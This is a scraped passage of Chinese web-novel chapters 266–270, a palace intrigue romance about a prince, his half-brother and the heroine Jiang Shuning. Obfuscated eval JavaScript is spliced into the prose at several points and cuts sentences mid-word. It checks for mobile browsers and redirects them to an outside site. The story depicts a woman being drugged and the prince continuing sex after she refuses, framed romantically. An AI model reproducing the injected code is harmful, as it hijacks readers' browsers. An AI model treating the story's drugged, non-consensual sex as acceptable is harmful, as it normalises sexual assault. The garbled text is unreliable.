“废物!”萧凌川居高临下地睨着他,语气中满是嘲讽,“连自己的亲爹都不知道你的存在,还敢在本王面前耀武扬威?南月皇帝若真在意你母子,怎会让你们在这大邺苟活这么多年?说到底,你不过是个弃子罢了!” 姜天泽咬紧牙关,拳头攥得咯咯作响,却不敢反驳。 萧凌川说得没错,在花连城心中,压根没有他和母亲的位置。 “若本王助你登上南月的储君之位,你可愿与本王合作?”萧凌川话锋陡转,声音低沉,眼神中透着一丝令人心悸的冷芒。 姜天泽闻言,猛地一怔,眼中满是不可置信:“这……这怎么可能?我父皇……南月皇帝打心底鄙夷我母亲,根本不会承认我的身份!况且,他膝下皇子众多,个个出身尊贵,血统高贵,怎可能轮到我一个不受待见的私生子去争储君之位?” 萧凌川嘴角扯出一抹冷笑,神色愈发阴冷,目光如刀般锋利:“若那些皇子,一个接一个地死于非命,又当如何?” 姜天泽瞳孔猛地一缩:“你……你要杀了他们?” “不是本王动手,而是你。”萧凌川直直地盯着他,眼中闪着毫不掩饰的阴鸷与杀意,字字如冰,刺入骨髓,“是时候展现你身为南月毒师后代的真正本事了!” 第266章 破釜沉舟的选择 第二百六十六章破釜沉舟的选择 “你要我手刃手足?”姜天泽难以置信地问道。 萧凌川嗤笑一声,轻蔑地扫了他一眼:“什么手足?你去南月皇宫,看看那些皇子们有谁把你当手足!他们只会想方设法地弄死你,以绝后患。” 姜天泽像是被人扇了一耳光,脸色顿时变得很难看。 他猩红的眼睛死死瞪着萧凌川:“别以为我不知道你打的什么主意!你想让我回南月,将那里搅得天翻地覆,好让你有机可乘,将南月一举拿下,对吧?” “本王的确是这样想的,但愿意与否,取决于你。毕竟本王答应过姝宁,不会为难你。”萧凌川语气轻描淡写却带着不容置疑的威压,“眼下,你有两个选择。其一,继续留在大邺,做你的姜家三公子,平安顺遂地过完此生,但前提是,你绝不可靠近姝宁半步,且必须完全听从本王的调遣,包括与谁联姻,走哪条仕途,皆由本王决定!若敢忤逆本王,本王随时可以取走你性命! 其二,前往南月,亲手除掉你的那些‘手足’,成为南月唯一的储君,进而成为本王的盟友,与本王共享权势!” 姜天泽目不转睛地看着他,脑子里乱成一团浆糊。 一边是安稳却**的活着,永远地失去接近他生命中最重要人的权利;另一边是布满荆棘与血腥的险途,却能通往权力的顶峰。 他的心中天人交战,无数个念头在激烈地碰撞。 若是从前,他无论如何都不愿离开大邺,离开姜姝宁。 他最大的愿望,就是一辈子守护在她身边。 可现在他的身份已经暴露,萧凌川绝不会让他再靠近姜姝宁。 而姜姝宁……她知道真相后,还会像从前那般亲近他吗? 不会了。 他在她心里,不再是她的血脉至亲,只是一个流着异国血脉的骗子。 与其留在这里,眼睁睁看着她被困在萧凌川身边,自己却连靠近的资格都没有,还不如……赌一把! 若他能成为南月的储君,甚至是君王…… 到那时,他便有了与萧凌川分庭抗礼的资格! 片刻之后,姜天泽眼中的挣扎与痛苦渐渐褪去,取而代之的是一种破釜沉舟的狠厉。 他抬起头,直视着萧凌川,一字一顿地说道:“我选第二个!” 萧凌川点了点头:“很好。这可是你自己决定的,别到时候到处哭诉,说是本王强迫你的!” “我姜天泽决定之事,绝不后悔!”姜天泽从地上挣扎着站起来,尽管衣衫凌乱,神情狼狈,但他的脊梁却挺得笔直,“还请王爷将我送到南月皇室,以便我能为王爷……铲除异己!” “那你先回去吧,收拾一下。明日本王便派人将你秘密送至南月。”萧凌川神色恢复了惯有的慵懒,仿佛刚才那个满身杀气的煞神只是幻觉,“事成之后,可别忘了本王的好处!” “王爷放心,天泽定会加倍回报王爷的‘大恩大德’!”姜天泽咬着牙说出这几个字,其中的恨意与野心交织,“若无其他事,天泽先行告退。” 说完,他转身,头也不回地走了出去。 看着他离去的背影,一直沉默不语的凌风终于上前一步,有些担忧地问:“王爷,这小子性情不定,又对您恨之入骨,您就这样送他回南月,岂不是放虎归山?” “本王就是要放虎归山。”萧凌川走到窗边,看着姜天泽消失在夜色中的身影,神色阴鸷得可怕,“一只被关在笼子里的老虎,再凶猛也只是个玩物。只有把它放回山林,它才会亮出最锋利的爪牙,去撕咬别的猎物。本王想利用的从来就不是他的忠诚,而是他的野心!” “可……”凌风依旧不安,“属下知道,您想将他变成一把刺向南月的利剑。可这把剑太不受控制了,您为何不让他服**?这样他为了解药,至少在初期能对您顺从些。” “南月毒师最擅长以毒攻毒,用**控制他,意义不大。”萧凌川冷声道,目光如刀般锋利,“无妨,他母亲南月毒师还在大邺,姜天泽是个聪明人,他知道忤逆本王的下场。” “可万一他……”凌风犹豫再三,还是忍不住道,“若他有朝一日真攀上高位,借机反戈一击,对付王爷您,那该如何是好?” “若他真有这等本事,那本王自当奉陪到底,认真与他一战!本王倒要看看,他能翻出多大的浪来!” 萧凌川脸上浮起笑意,眼中闪烁着运筹帷幄的寒光。 夜色渐深,萧凌川朝寝殿走去。 寝殿的烛火摇曳,映得整座宫殿都笼罩在一片暖黄的光晕中。 他推开门,迎面便看到姜姝宁端坐在榻旁,似是已经等候多时。 她脸色有些苍白,眉头微蹙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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萧凌川的脸色阴沉得能滴出水来。 他后悔了,不该因为姜姝宁一句轻飘飘的请求,就放那个杂种一条生路。 他应该直接拧断姜天泽的脖子,再把他的尸骨扔去喂狗! 第267章 被栽赃算计 第二百六十七章被栽赃算计 姜姝宁在萧凌川眼底看到了毫不掩饰的杀意。 即便她知道姜天泽与自己并无血缘关系,她还是不忍心叫了自己许久“大姐姐”的少年,就这么死在萧凌川手里。 她艰涩地开口:“此事……也不能全怪天泽。或许是我与他相处时未曾拿捏好分寸,才让他生出误会……王爷曾答应过我,不会为难他。况且,如今父亲母亲尚不知他的身世,若此事传开……” “够了!”萧凌川冷冷打断她,语气生硬,“你若想替他求情,大可不必!他一个南月皇帝的私生子,本王若杀了他,岂不是可惜?放心,本王留着他的性命,自有用处!” 姜姝宁眉心猛地一跳,心头升起一股不安的预感,试探着问道:“你……想利用他来对付南月皇帝?” “真是什么都瞒不过你。”萧凌川嘴角扯出一抹意味深长的冷笑,缓缓抬起手,修长的手指轻抚过她的脸颊,动作看似温柔,却带着一种令人不安的侵略感。 姜姝宁本能地侧头避开他的触碰,冷声道:“南月皇帝若真在意天泽和三婶,又怎会任由他们在大邺苟活多年?王爷只怕利用天泽,也未必能拿捏住南月皇帝。” “谁说本王是想用姜天泽去拿捏南月皇帝?”萧凌川神色骤然阴鸷,眼中闪过一抹令人心悸的寒光,“本王要的,是让他亲手杀了那个老东西!” 姜姝宁闻言,心头一震:“你……要天泽弑父?” “自然。”萧凌川眸色愈发狠厉,似有无尽的怨恨在眼底翻涌,语气中带着刻骨的寒意,“这世上,除了我那父皇,本王最恨的人,便是花连城!” 他顿了顿,目光微微偏移,像是陷入了某种晦暗的回忆。 “若非当年花连城极力要求,南月当时的皇帝也不会将唯一的女儿远嫁大邺,更不会送来那么多南月贡女。我母亲被送入大邺之前,已怀有未婚夫的孩子,花连城曾信誓旦旦地向她保证,会尽快接她回南月。可她在大邺宫中苦等一年又一年,最终在无尽的绝望中死去……” 听到他说起这些尘封的往事,姜姝宁心口不由一紧,似被什么狠狠攥住。 萧凌川自幼在冷宫长大,历经常人难以想象的磨难,也难怪他会生出这样一副阴狠毒辣的心肠。 她下意识攥紧手心,心中浮现出一个大胆而令人不安的猜测——萧凌川的母亲,极有可能是那群南月贡女中的一员,而南月皇帝花连城,或许便是他的生父。 她迟疑了片刻,试探性地问道:“如此说来,王爷与天泽……是兄弟?” “是又如何?”萧凌川神色骤然一沉,“兄弟就能觊觎本王的女人了吗?不杀他,已是本王给他天大的面子!” 姜姝宁嘴角微抽,心中一阵无言:“……”谁跟你讨论这个了? 她深吸一口气,强压下心头的荒谬感,斟词酌句地继续道:“……既然是兄弟,王爷指使他去弑父,是不是有些……不近人情?” “本王可从未指使他弑父。”萧凌川眼中闪过一抹狡黠与阴冷,语气轻描淡写却暗藏杀机,“本王不过是让他竭尽所能,成为南月的储君罢了。若他的野心足够大,能一举登上南月君王之位,本王倒还会高看他一眼!” 姜姝宁只觉头皮一阵发麻,心底泛起一股寒意。 究竟是怎样的心性,才会怂恿自己兄弟去弑父夺位? 她本以为,面对自己的亲生父亲,萧凌川多少会有些顾忌,稍稍手下留情。 然而她想得太多了,他根本就是个彻头彻尾的冷血无情之人! —— 因姜天泽之事牵扯了萧凌川的注意力,他暂时未再追究姜姝宁试图逃离景王府一事。 自然,崔芝兰也未因此受到任何牵连。 她在藏锦阁中提心吊胆地过了几日,心中始终忐忑不安,直到收到姜姝宁托柳叶送来的一张纸条。 纸条上娟秀的字迹写道:“崔侧妃,我已将你欲离府前往南阳的心愿转告宁王殿下,想来他不日便会安排人手带您离开。如今我尚无法脱离景王府的桎梏,那份江南水乡的自由,便劳烦崔侧妃代我先行体味了!” 看到这字里行间的关怀,崔芝兰唇角不由自主地勾起一抹苦涩的笑意。 姜姝宁的确是出于一片好心,此次私自逃离,她未曾连累任何人,不论是自己,还是表哥萧怀瑾,亦或是整个崔家,都未受到半点波及。 可她不知道,自己之所以沦为景王府的崔侧妃,实则是因与表哥萧怀瑾达成了一场不得已的交易。 只要姜姝宁一日不离开景王府,她便一日无法获得真正的自由,身陷囹圄,无法挣脱。 “也罢。”崔芝兰低声自语,目光落在纸条上,眼神中夹杂着几分无奈与酸楚,喃喃道,“宁儿姑娘心地纯良,值得我继续留在景王府中,为表哥护她周全几分。” 她轻叹一口气,将纸条小心收起,心中虽有不甘,却也生出一丝坚定——既已走到这一步,便只能将这苦涩的交易进行到底。 藏锦阁的另一间房内,有人正暗中掐算着日子,筹谋着合适能算计姜姝宁。 王碧珊的堂兄王启早已将人安插进景王府,可这府中护着姜姝宁的不仅有萧凌川,还有那个时刻守在她身旁、寸步不离的凌芜。 这个丫头不仅机警过人,还身怀武艺,绝非易与之辈,想要动手,难如登天。 好在她的表嫂姜瑶真为她献上一计,点拨她联合其他侧妃帮忙,设法给凌芜安个罪名,寻个由头将她暂时关押起来,如此才能为后续计划铺路。 王碧珊思来想去,最终选定了霍娴月作为帮手。 这一日,她们算准了萧凌川因宫中公务缠身,短时间内无法回府,便暗中布置,先指使自家婢女前往主院,借口整理院务,将姜姝宁亲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16109017|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手栽种的一盆珍贵花草带回自己院中,随后又派人通知凌芜,让她亲自将盆栽搬回原处。 待凌芜将盆栽搬回后,王碧珊与霍娴月便借口院中遗失了一根价值不菲的金簪,言之凿凿地指控凌芜为窃贼,逼迫管家出面主持公道。 凌芜何曾受过这般**? 她当即怒火中烧,若非顾及身份,她几乎要当场动粗。 管家见状,连忙拦在她身前,沉声喝止,试图平息事端。 虽然他清楚凌芜是萧凌川特意安排在姜姝宁身边的亲信,但王爷眼下不在府中,论及府内事务,侧妃的权柄理应是最大的,理应给她们几分薄面。 “王侧妃、霍侧妃,二位称凌芜姑娘偷了东西,可有真凭实据?”管家问道。 王碧珊扬声道:“我的婢女亲眼所见,是凌芜将那金簪偷偷藏进了自己房中!管家若不信,大可去她屋里搜个清楚,看看我是否冤枉了她!” 凌芜眉心猛地一跳,心头涌起一股强烈的不安。 她虽不知对方葫芦里卖的什么药,但直觉告诉她,这金簪多半已被藏在她的房间内,今日之事,分明是有人蓄意栽赃。 果不其然,管家依言带人前往凌芜房中搜查,翻开枕头一看,那根金簪赫然藏在枕下,位置之显眼,简直荒谬至极。 王碧珊见状,眼中闪过一抹得逞的冷光,立马振振有词地叫嚷起来:“瞧,我早说了是她偷的!证据摆在眼前,她还能狡辩什么?” 凌芜气得脸色铁青,咬牙切齿地怒斥道:“你们分明是蓄意陷害!若我真想要金簪,王妃赏我成百上千根又有何难?我何必偷你们这破烂玩意儿?再说,谁会蠢到偷了东西还藏在自己枕头底下?我若真想藏,怎不藏到屋顶梁上?反正我有武功,旁人又搜不到!” 王碧珊冷哼道:“证据确凿,你还想抵赖!这婢女当真是无法无天,毫无规矩!来人,将她拿下,杖责二十,以儆效尤!” 管家闻言,脸色一变,急忙摆手阻拦:“王侧妃,万万不可!此事尚未查明真相,怎能贸然用刑?依属下之见,此事还需禀报王爷,待王爷回府后再行定夺!” 王碧珊等的就是这句话。 她故作不甘地点了点头,沉声道:“既如此,便先将这婢女关进柴房,等候王爷发落!在王爷回来之前,不许给她半点吃食!” 管家只得转向凌芜,安抚道:“凌芜姑娘,委屈你暂且去一趟柴房。待王爷回府,自会为你主持公道。” “去便去!”凌芜眼中满是不屈与愤怒,“我身正不怕影子斜,就不信王爷看不出这拙劣的栽赃伎俩!” 说罢,她毫不畏惧地跟随管家走向柴房。 待凌芜被带走,王碧珊与霍娴月对视一眼,眼底皆是按捺不住的激动与得意。 终于,姜姝宁身边最得力的护卫被暂时隔开,接下来的计划,便可毫无顾忌地展开了! 第268章 卑劣算计 第二百六十八章卑劣算计 姜姝宁在院子里打理草药,乌云沉沉地压在了王府上空,空气里满是山雨欲来的湿闷气息。 她心下有些着急,唤了一声:“凌芜?” 院中寂静,只有风吹过树叶的沙沙声。 往日里,只要她一开口,凌芜的身影便会立刻出现。 正在她疑惑之际,一个穿着粗布短打的年轻男子从花圃后走了出来,脸上带着几分憨厚的局促。 “王妃,凌芜姑娘被管家叫走了,王妃有何事?让小的来帮您吧!” 姜姝宁认得他,是前些日子新来的花匠,瞧着不过二十出头的年纪,手脚还算勤快。 凌芜一时半会回不来,她的注意力都在草药上,也没来得及细想,便指着廊下那几排大大小小的瓦盆吩咐道: “快下雨了,这些草药娇贵,淋不得雨。你再叫个人来,把它们都搬到东边的偏殿里去。” 那年轻花匠闻言,露出一副为难的神色:“王妃,这……实在不巧。其他花匠都被叫去西苑拾掇新移栽的牡丹了,这主院里头,眼下就只剩下小的一个人。若王妃想快些,要不……您搭把手?” 姜姝宁看了看天,豆大的雨点似乎随时都会砸下来。 她这些草药是花了不少功夫专程找来的,矜贵得很,若是被雨水泡坏了,不知要费多少工夫才能重新寻来。 “也好。”她点了点头,挽起袖子,与那花匠一同弯腰,一人一边抬起一盆分量不轻的盆栽。 就在她刚抱起瓦盆的瞬间,一直安静盘踞在她腕间的小白,竟如一道离弦的白箭,猛地从她袖中窜出! 它蛇身绷直,信子高昂,冰冷的蛇瞳死死盯着那花匠的手,作势欲咬。 “啊!”花匠像是被吓破了胆,惊叫一声,整个人猛地向后跌坐在地,脸色煞白如纸。 他显然没料到,这位瞧着温婉的王妃,身上竟带着一条如此凶猛的白蛇。 “小白!”姜姝宁眼疾手快,一把攥住了小白蛇的七寸,将它扯了回来。 蛇身在她掌心冰冷地扭动着,似乎极不情愿。 “别怕,小白没有毒。”姜姝宁一边安抚着受惊的花匠,一边轻轻拍了拍小白的头。 可那花匠依旧是一副魂飞魄散的模样,指着小白,话都说不利索:“王……王妃……小、小人……从小就怕蛇,怕得要命……您、您能不能……别带着它?” 姜姝宁见他吓得不轻,又想着赶紧搬完这些盆栽,便也没多想。 她走到一旁的树下,将小白缠在了一根粗壮的树枝上,摸了摸它冰凉的小脑袋,柔声道:“你在这里乖乖待一会儿,我很快就回来。” 小白蛇盘在树枝上,红色竖瞳里满是不甘与无奈,对着花匠的方向“嘶嘶”地吐着蛇信子,像是在警告他。 姜姝宁与那花匠一前一后地进了偏殿。 这偏殿平日里少有人来,只堆放些杂物,光线有些昏暗。 她到底是娇生惯养的大家闺秀,平日里最多也就是摆弄些花草,才搬了三四盆进来,额上便渗出了细密的汗珠,呼吸也变得急促起来。 她撑着腰,想起平日里凌芜单手就能轻松拎起瓦盆的样子,不由得苦笑,还是习武之人手劲大啊。 天色已经彻底阴沉下来,滚滚的雷声自天边传来。 轰隆一声,豆大的雨点终于砸落,敲打在屋瓦上,发出噼里啪啦的声响。 姜姝宁看着那些被抢救进来的草药,脸上刚浮起一丝庆幸的笑意,背后却骤然一紧。 一块浸透了异样香气的软布猛地捂住了她的口鼻! 她瞳孔骤缩,惊骇之下拼命挣扎,可身后男子的力气大得惊人,像一把铁钳将她死死箍住。 她手脚并用地踢打,发髻上的簪环散落一地,却无济于事。 一阵甜腻得发齁的异香顺着鼻腔钻入她的四肢百骸。 不过短短几个呼吸间,她便感到一阵难以言喻的燥热从丹田处猛地窜起,迅速蔓延至全身。 身体里的力气像是被抽空了一般,双腿一软,几乎要站立不住。 糟了,是烈性春药! 那花匠见她吸入了足够的药量,身子软得像一滩春水,这才阴笑着松开了手。 他脸上那副老实巴交的伪装早已消失不见,取而代之的是一种赤果果的、令人作呕的贪婪。 他目光像是黏腻的毒蛇,在她因药力而泛起潮红的脸颊和脖颈上游走:“啧啧,不愧是景王爷捧在心尖上的女人,这细皮嫩肉的模样,光是看着就让人血脉偾张!” 话音未落,他便一把将她打横抱起,粗鲁地扔在了偏殿角落里那张积了灰的木床上。 直到此刻,姜姝宁才猛然发现,这偏殿的门窗不知何时都已被他关紧,如今外面大雨滂沱,雷声阵阵,根本不会有人发现这里的异常。 身体里燃起了一团邪火,烧得她口干舌燥,理智仿佛被投入烈焰中炙烤,一点点消融。 她一边死死克制着体内翻涌的情潮,一边试图用最后的清醒与他周 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这个男人定是被人暗中安插进王府的,无论成事与否,只要让府里的人看到她衣衫不整地和一个男人共处一室,哪怕她什么都没做,也百口莫辩,清白尽毁! 她绝不能让这等卑劣算计得逞! 姜姝宁深吸一口气,再次咬破唇舌,借助那刺骨的痛楚勉强支撑起绵软无力的身躯。 紧接着,她拼尽全身力气,艰难地搬起地上的一盆盆栽,狠狠砸向窗户—— 第269章 本王就是你的解药 第二百六十九章本王就是你的解药 “哗啦”一声,盆栽冲破窗户,摔在地上,碎裂的瓷片和泥土四散飞溅。 这刺耳的声响终于吸引到一人的注意。 柳叶从破了的窗户瞥见姜姝宁的身影,急急忙忙跑来。 门不知被谁从外面上了锁,她费了些功夫才用一块石头砸开那把锁头。 推开门后,她连忙扶起瘫软在地上的姜姝宁,紧张地问:“王妃,王妃您没事吧?” 她的目光无意间扫向一侧,却骤然撞见那花匠惨白的面孔——脖颈处赫然插着一根簪子,鲜血如溪流般淌了一地,刺目的猩红令人心惊。 柳叶瞳孔猛缩,喉间迸发出一声失控的尖叫。 “别……声张……”姜姝宁汗如雨下,脸颊因药力而泛着不正常的潮红,喘息道,“快……扶我回……寝殿……” “是、是!”柳叶连忙点头,强压下心中的恐惧,半拖半抱地带姜姝宁离开这血腥之地,回到寝殿。 回到寝殿后,柳叶手忙脚乱地帮姜姝宁擦拭身上的血迹,又倒了一桶凉水,扶着她浸入其中,试图用冰冷的触感压下她体内那股骇人的燥热。 然而,水面泛起细微涟漪,姜姝宁的身子却依旧绵软无力,脸色未见半分好转,显然这法子毫无作用。 药效太过霸道,姜姝宁连手指都绵柔无力,更遑论拿起银针为自己施针解毒。 她靠在桶沿,气息紊乱:“凌芜……在哪?” “王侧妃和霍侧妃说凌芜姑娘偷了她们的簪子,凌芜姑娘现在被关在柴房里……” 姜姝宁心中一阵绝望。 若凌芜尚在身边,或许还能以一掌之力将她击晕,暂时隔断这药效的侵蚀,免她继续承受这噬心般的折磨。 她目光落在柳叶头上的簪子上,眼底闪过一丝决绝,艰涩地开口:“快……用簪子……划破我的手腕……” 如今,就只剩下放血祛毒这一个法子了,哪怕是饮鸩止渴,也好过任由药效吞噬她的理智。 柳叶闻言,惊恐地摇头:“不行,奴婢不能让王妃伤了自己!奴婢、奴婢这就去找管家,让他派人入宫请王爷回来!” 话音未落,她不等姜姝宁再开口,便慌慌张张地转身跑了出去。 姜姝宁看着她踉跄离去的背影,心中愈发绝望。 对此时此刻她而言,萧凌川才是最可怕的。 —— 皇宫里,萧怀瑾刚从御书房步出,目光扫过不远处那道熟悉的身影,眼中闪过一丝犹豫后,终是下定决心,快步上前,拦住了萧凌川的去路。 “四哥,我想与你谈一桩交易。”他的声音低沉而坚定,温润的面容下藏着一抹不容退缩的决绝。 萧凌川停下脚步,桃花眸微微眯起,带着几分狐疑与不屑:“哦?你要与本王做什么交易?” 萧怀瑾深吸一口气,目光直视着他,字字铿锵:“你放了姜姑娘,从此我与崔家,皆为你所驱使!” 萧凌川闻言,冷冷一笑,语气中满是轻蔑:“只要本王坐上那个至高无上的位置,又何愁崔家不臣服于本王?五弟,你的筹码,未免太不值一提了。” “可是四哥,你如今尚未登上那个位置。”萧怀瑾毫不退让,语气急切,眼中的执念愈发强烈,“只要你还姜姑娘自由,我愿说服外祖与舅舅,即刻倒戈,全力支持你!” “五弟,你还真是痴心!”萧凌川眼中嘲弄之色更浓,声音低沉却带着刺骨的寒意,“几日前,姝宁明明有一次逃离的机会,可她却未选择和你一起离开,你可知为何?因为她根本不想与你在一起!你还是早些**这条心吧!” “事实并非如此!”萧怀瑾温润的脸上浮现出一抹焦灼与痛楚,声音因激动而微微颤抖,“她并非不想与我在一起,她只是算准了你会找到她,故意不来寻我。她是不愿我被你牵连!正因她是这样的女子,才值得我为她倾尽所有!” 他定定地看着萧凌川,眼底是孤注一掷的决然,“四哥,我知你的野心与抱负,我与你不同,我从不觊觎帝位,此生所求,不过是能与心爱之人安稳度日,长相厮守。只要你同意放姜姑娘离开,我愿此生为你效命,任你驱使!” 萧凌川脸上嘲讽的神色愈发浓重,眼中却隐隐透出一丝阴鸷。 他缓缓凑近萧怀瑾,声音低哑而冰冷,像是从地狱深处传来:“你可知,本王为何如此执着于那个位置?” 萧怀瑾未语,抿紧薄唇,静静等待他的下文。 “因为唯有手握帝王的势力,才能让姝宁永远无法离开本王!”萧凌川一字一句,语气中带着令人心悸的偏执与霸道,“所以,你别再痴心妄想了,本王绝不会拿她与你做任何交易!本王要她生生世世,都只能属于我!” 萧怀瑾的脸色霎时苍白,温润的眉眼间满是焦急与不甘,声音中透着几分无力与悲怆:“可她根本不愿留在你身边,四哥,难道你看不出来吗?” “那又如何?”萧凌川冷笑一声,眼中闪过一抹不容置疑的狠戾,“只要本王一人愿意,便足够了!” 就在这时,凌风神色慌张地从远处匆匆赶来,他俯身贴近萧凌川耳畔,低声急报,声音因紧张而压得极低:“王爷,不好了!府中来人急报,说王妃她……她被人下药了!” 萧凌川闻言,脸色骤变,眼中原本的嘲讽与冷漠顷刻被一抹骇人的阴沉取代,浓烈的杀意如风暴般在他周身涌动。 他攥紧拳头,声音里戾气横生:“回府!” 姜姝宁感觉自己被困在了一个巨大的蒸笼里,每一寸肌肤,每一根骨头都在被灼热的蒸汽反复蒸腾。 意识时而清醒,时而模糊,眼前的一切都蒙上了一层水汽,摇摇晃晃,看不真切。 柳叶还未回来,寝殿里空无一人,她被迫独自对抗着体内那头几欲冲破牢笼的猛兽。 她挣扎着从冰冷的浴桶中爬出来,浑身湿透,水珠顺着她乌黑的发丝滴落,在地上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16113357|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晕开一小片水渍。 可这短暂的凉意很快就被体内更汹涌的热浪吞噬。 不行……她不能就这么等着…… 等着柳叶找来管家,等着管家派人去宫里,再等着萧凌川回来…… 等他回来的时候,看到的会是什么? 一个衣衫不整、神志不清、被药物操控着,只能向他卑微乞怜的自己吗? 光是想象那个画面,就比杀了她还要让她感到**。 她目光落在不远处的梳妆台上,那里整整齐齐摆放着她的珠钗簪子。 这一刻,她迫不及待想要尖锐锋利的东西,划破她的肌肤,让体内那难以启齿的燥热得到哪怕片刻的缓解。 她用尽全身的力气,一点点向梳妆台挪动过去。 短短几步的距离,仿佛耗尽了她一生的气力。 终于,梳妆台上的簪子被她颤抖的手指握住。 簪子的凉意顺着掌心传来,让她混乱的脑子有了一瞬间的清明。 她将尖锐的簪头对准自己白皙纤细的左手手腕,那里的皮肤薄得能看清底下青色的血管,正随着她急促的心跳而搏动。 只要用力划下去,疼痛会让她清醒,流失的血液会带走药性…… 她闭上眼睛,牙关紧咬,汇集起最后一丝力气,狠狠地朝着自己的手腕刺了下去—— “砰——” 寝殿的大门被人从外面一脚踹开! 姜姝宁受惊地睁开眼,模糊的视线里,一个高大而熟悉的身影裹挟着一身的寒气,如地狱修罗般闯了进来。 是萧凌川。 他回来了。 他怎么……这么快…… 男人一眼就看到了倒在地上,衣衫湿透、狼狈不堪的她,以及她手中那支正准备自残的簪子。 萧凌川的瞳孔骤然紧缩,那双深不见底的眸子里,瞬间掀起了毁灭一切的风暴。 他一个箭步冲上前来,一把夺过姜姝宁手中的簪子,狠狠地扔了出去。 簪子撞在墙上,发出一声清脆的哀鸣,而后无力地坠落在地。 正如她此刻的,绝望到了极点。 自救的希望被彻底碾碎了。 萧凌川俯下身,一把将瘫软在地上的姜姝宁捞进怀里,炽热的气息喷洒在她耳畔:“本王不许你伤自己!” 被他触碰到的肌肤,仿佛被烙铁烫过一般,激起一阵战栗。 她的理智在节节溃败,喘息着,竭尽全力哀求道:“王爷……求你给我……解药……” 她依稀记得,他身上有专门解催情药的解药。 萧凌川的手指缓缓上移,粗糙的指腹摩挲着她被自己咬破的、仍在渗血的下唇,眼神幽暗得能吞噬一切。 “何须那么麻烦?”他盯着她迷离的秋水眸,声音沙哑,充满了疯狂的占有欲,“本王就是你的解药。” 话音刚落,他抱着怀中不断扭动、挣扎的女人,大步走向内室的床榻…… 第270章 开始抗拒他了 第二百七十章开始抗拒他了 萧凌川将她安置在柔软的锦被上,高大的身影随即覆了上去,将她牢牢地禁锢在身下。 药力在这一刻轰然上涌,如决堤的洪水,瞬间冲垮了她最后一丝理智的堤坝。 姜姝宁的眼神彻底涣散,眼眸蒙上了一层迷蒙的水雾,口中发出一声压抑不住的嘤咛。 这一声细微的呻吟,对他而言,不啻于世上最烈性的春药。 他眼中的墨色翻涌得更加汹涌,情难自禁地低头含住了她那过分殷红的唇。 这是他们今生的第一次。 前世新婚之夜,他的合卺酒被下了药,对她很是粗鲁,整个过程她都在哭,泪水一刻都没停过。 事后她难受了好几天,就连下床都费劲。 这一世,他本想温柔待她,弥补前世的亏欠。 可他发现,姜姝宁根本不给他施展温柔的机会。 药效太烈,怀中的女人仿佛变了一个人。 她不再是那个清冷疏离、对他处处设防的姜姝宁,而是像个魅惑人心的妖精,主动又热烈。 窗外,瓢泼大雨仍在不知疲倦地冲刷着整个王府,雨声掩盖了一切。 寝殿内,空气中弥漫着旖旎气息,入眼皆是香艳靡丽的场景。 许久,幔帐内的动静才渐渐小了些。 萧凌川没有叫人进来伺候。 他拨开帐幔,看着床上那个软成一滩春水、浑身布满暧昧痕迹的人,喉结滚动了一下。 深吸一口气,他才打消了再次覆上去的冲动,将她打横抱起,大步走向了浴房。 温热的水汽扑面而来。 他将她放入早已备好热水的浴池中,让她虚软无力的身子靠在自己坚实的胸膛上,拿起木梳,极为耐心地为她梳洗着被汗水浸湿了的乌黑长发。 发丝如上好的绸缎,从他指间滑过,让他生出一种恍若置身梦境般的不真实感。洗着洗着,怀里的人忽然动了一下。 她似乎醒了。 萧凌川低头,正对上一双水润迷蒙的眸子。 那双眼睛直勾勾地看着他,没有了清醒时的冷漠与戒备,只剩下纯粹的、不含任何杂质的茫然与依赖。 他喉头猛地一紧,刚刚才勉强平息下去的欲望,又一次蠢蠢欲动起来。 他忍不住扣住她的后脑勺,再一次狠狠地吻了上去。 或许是药效还未完全褪尽,她没有挣扎,反而在他加深这个吻的时候,她修长白皙的双腿,如藤蔓般主动勾住了他的腰。 这个动作带着致命的诱惑。 萧凌川哪里还受得了这般撩拨。 …… 天蒙蒙亮时,姜姝宁体内的药效终于消退,混沌的意识也渐渐清明。 还不等她彻底回神,萧凌川便再次扣紧了她的腰肢,带着不容抗拒的力道,试图再次攻城略地。 “不……不要……”她本能地抗拒着,想要推开他,却发现嗓子干涩嘶哑得厉害。 萧凌川并未停下动作,深邃的目光寸寸描摹着她脸上的细微表情,不放过一丝一毫的变化。 她已然清醒,开始抗拒他了。 只可惜,一切都太迟了。 